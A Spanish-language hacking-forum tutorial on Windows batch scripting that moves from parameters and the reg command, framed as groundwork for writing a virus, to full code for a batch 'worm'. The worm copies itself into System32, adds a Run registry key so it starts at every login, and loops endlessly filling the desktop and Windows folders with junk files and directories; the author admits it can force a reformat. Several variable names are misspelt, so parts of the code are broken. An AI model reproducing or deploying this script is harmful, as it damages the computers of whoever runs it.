Supuestamente este code tendria que salir por la impresora. Aqui les dejo los valores extraidos del manual de "elhacker.net".

Citar
DISPOSITIVO -- SALIDA
CON -- Salida por la pantalla
PRN -- Salida por la impresora por defecto
LPT1 -- Salida por la 1º impresora en paralelo
COM1 -- Salida por el primer puerto serie
COM2 -- Salida por el segundo puerto serie
I---------------------------------------------I

10. %0, %1, etc.

Estos valores, son parametros pre-definidos o a definir por el usuario. A continuacion seran explicados con ejemplos.
%0 se refiere al programa mismo, osea al batch donde esta empleado. Es medio confuso pero se comprueba con este ejemplo:

Código:
@echo off
 del /f /q %0
 exit
 

Copien el codigo y compilenlo, luego ejecutenlo y vean que pasa. Ahi entenderan el concepto 100%.

Los demas %1, %2, %3 hasta 1000, son parametros no definidos. Estos hacen referencia a los parametros que se pueden espesificar para un comando. Tal como

Código:

en este caso "/p" seria igual a %1.
Entonses si ponemos

Código:

"/f" es %1 y "/q" es %2

Es algo complicado en un principio, pero una vez que se aprende te daz cuenta que es muy simple. Es principalmente escencial para modificar el funcionamiento de los programas y/o crear ayudas como en lso comandos default de windows.

Estas variables, nos sirven a la hora de crear diferentes paramentros de comportamiento para el programa. Por ej. Si queremo s que cuando le agregemos /help como %1, osea primer parametro, no ejecute el programa normalmente, sino que ejecute la ayuda del programa. Aqui les he traido un simple code que demuestra el funcionamiento de etas varibles, gurdenlo con el nombre prueba.bat, luego en la consola vayan a la ruta donde lo guardaron y ejecutenlo de este modo:

C:\Documents and Settings\administrador\Escritorio\>prueba.bat /help

y luego solo normalmente

C:\Documents and Settings\Francisco\Escritorio\>prueba.bat

Código:
@echo off
 title Ejemplo de variables
 if %1==/help (goto help) else goto :tex
 
 :help
 echo Esta es la ayuda
 echo Aqui va la ayuda en caso de que el programa se ejecute con el parametro /help
 pause
 exit
 
 :tex
 echo De esta forma se ejecuta el programa normalmente
 pause
 exit
  
I---------------------------------------------I

11. Manejo del Registro
Accesar al registro es algo fundamental si queremos hacer algo como un virus o algo asi. Esto es posible mediante el comando "reg". Este comando tiene infinitas posibilidades. Hay muchos parametros que se peude espesificar y muchas funcionalidade s. Tratare de explicarlas lo mas clara y simplemente. Estos son solos los mas importantes, hay otros pero con estos ya es suficiente.
Los tipos de "reg" son los siguientes:

Código:
REG ADD / Para agregar una clave al registro
 REG QUERY / Para consultar una clave
 REG EXPORT / Para exportar claves
 REG IMPORT / Importa una clave exporta anteriormente con EXPORT.
 REG COMPARE / compara una clave con otra.

REG ADD
Aqui les mostrare un ejemplo para que quede claro su llamado y funcionamiento .
ADD REG hklm/software/microsoft/windows/currentversion/run /v syst /d "c:/windows/system32/shut.bat"
Este comando agregaria una clave al registro de inicio con el nombre syst y con el valor de la ruta de nuestro bat.

REG QUERY
REG QUERY clave [/v nvalor | /ve][/s]
clave [\equipo\]clave
equipo: Nombre del equipo remoto. Si se omite se usa el equipo actual. Sólo están disponibles HKLM y HKU en equipos remotos.
clave: Con la forma nombre de CLAVERAIZ\subclave CLAVERAIZ [ HKLM | HKCU | HKCR | HKU | HKCC ]
Subclave: Nombre completo de la clave de registro en la CLAVERAIZ seleccionada.
/v consulta para una clave de registro específica
nvalor: nombre en la clave seleccionada para consultar.
Si se omite, se consultará en todos los valores de la clave.
/ve Consultar el valor predeterminado o el de nombre vacío <sin nombre>
/s Consultar todas las subclaves y valores Ejemplos: REG QUERY HKLM\Software\Microsoft\ResT /v Version
Muestra el valor del valor Version del registro. REG QUERY HKLM\Software\Microsoft\ResT\Setup /s
Muestra todas las subclaves y valores en la clave de registro Setup.

REG EXPORT

clave ROOTKEY\subclave (sólo equipo local)
ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ]
subclave El nombre completo de la clave del registro dentro del valor
ROOTKEY seleccionado
archivo El nombre del archivo de disco para exportar

Ejemplos:

REG EXPORT HKLM\Software\MiCo\MiAp CopiaAp.reg
Exporta todas las subclaves y valores de la clave MiAp al archivo
CopiaAp.reg

REG IMPORT
Importa una clave importada con reg export.

REG IMPORT "c:/loquesea.reg"

REG COMPARE
Compara 2 claves de registro.

REG COMPARE HKLM\Software\MiCo\MiAp HKLM\Software\MiCo\GuardaMiAp
Compara todos los valores dentro de la clave MiAp con GuardaMiAp

REG COMPARE HKLM\Software\MiCo HKLM\Software\MiCo1 /v Version

Compara el valor Version en las claves MiCo y MiCo1

REG COMPARE \\ZODIAC\HKLM\Software\MiCo \\. /s
Compara todas las subclaves y valores en HKLM\Software\MiCo de ZODIAC
con la misma clave del equipo actual

espero que te haya servido este tuto.

By HolyKnight

Este documento esta protegido por la Licencia Creative Commons. Para leer las restricciones de su uso o copia presiona el boton de la licencia.

Espero k os sirva de muchoo!!

saludos!

Gusano en batch!!jijiji!



3. ¿Cómo crear tu gusano en batch?

En este tutorial les voy a mostrar como crear un gusano en batch. Este gusano creara muchos archivos en los directorios que pongamos en el código…

A continuación abrimos el block de notas e ingresamos el siguiente código…

@echo off
:worm
cd \
cd %homepatch%
cd escritorio
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
cd \
cd windows
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
cd system32
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
goto worm

Ahora vamos a "guardar como" y elegimos el lugar donde se guardara el gusano.

  • Nombre: worm.bat
  • Tipo: Todo los archivos

Después de guardarlo, agregamos otra línea de registro debajo de (@echo off) para que cuando se inicie la pc, el gusano también se inicie.

copy %0 %windir%\system32\worm.bat
REG ADD
HKLM\software\microsoft\windows\currentsversion\run/v hack/d %windir%\system32\worm.bat

Al final nos quedaría algo así:

@echo off
copy %0 %windir%\system32\worm.bat
REG ADD HKLM\software\microsoft\windows\currentsversion\run/v hack/d %windir%\system32\worm.bat
:worm
cd \
cd %homepatch%
cd escritorio
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
cd \
cd windows
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
cd system32
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
goto worm

Ahora nuestro worm se autocopiara en el directorio: C:\Windows\System32\worm.bat y la otra linea era para agregar una entrada al registro al kual iniciara nuestro virus cada vez que se inicie sesion.

No lo ejecuten porque se auto infectaran y lo mas peligroso es que tengan que formatear la pc, así que tengan mucho cuidado con lo que hacen. jeje.